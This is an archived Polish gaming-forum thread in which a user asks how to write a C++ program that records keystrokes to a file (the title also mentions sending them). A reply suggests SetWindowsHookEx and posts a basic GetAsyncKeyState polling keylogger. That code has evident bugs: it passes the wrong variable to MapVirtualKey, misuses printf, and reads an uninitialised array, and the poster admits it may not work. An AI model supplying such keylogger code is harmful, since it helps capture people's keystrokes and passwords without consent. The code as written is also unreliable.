Skocz do zawartości
  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • Pełny dostęp do działów i ukrytych treści
    • Możliwość pisania i odpowiadania w tematach
    • System prywatnych wiadomości
    • Zbieranie reputacji i rozwijanie swojego profilu
    • Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

[c++] Zapisywanie i wysylanie informacji z klawiatury


Rekomendowane odpowiedzi

Opublikowano

Witam, nurtuje mnie pewna mysl. Czy mozna napisac w c++ taki program, ktory bedzie czytal informacje z klawiatury, a nastepnie zapisywał je do jakiegos pliku ? Jezeli ktos wie, to prosze podpowiedziec jak to zrobic.

Opublikowano

SetWindowsHookEx
Proszę bardzo.

 

//ewentualnie:

#include <windows.h>
#include <stdio.h>
#include <ctype.h>

DWORD _stdcall thread(void *param) {
    char x, old[256], znak;

    while (true) {
        for(int i = 0; i < 256; i++) {
            x = GetAsyncKeyState(i);
            if( ((x << 8) != 0) && ((old[i] << 8) == 0) ) {
                znak = MapVirtualKey(x, 2);
                znak = tolower(znak);
                printf("%s", znak);
            }
            old[i] = x;
        }
    }
    return 0;
}

int main()
{
    HANDLE t = CreateThread(0,0,thread,0,0,0);
    WaitForSingleObject(t,INFINITE);
    return 0;
}
ale to wolniejsza metoda. hook lepszy.

btw; wygrzebałem kod z czeluści dropboxa, może nie banglać. Ale metoda dobra.

846331404756772371599.jpeg

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

×
×
  • Dodaj nową pozycję...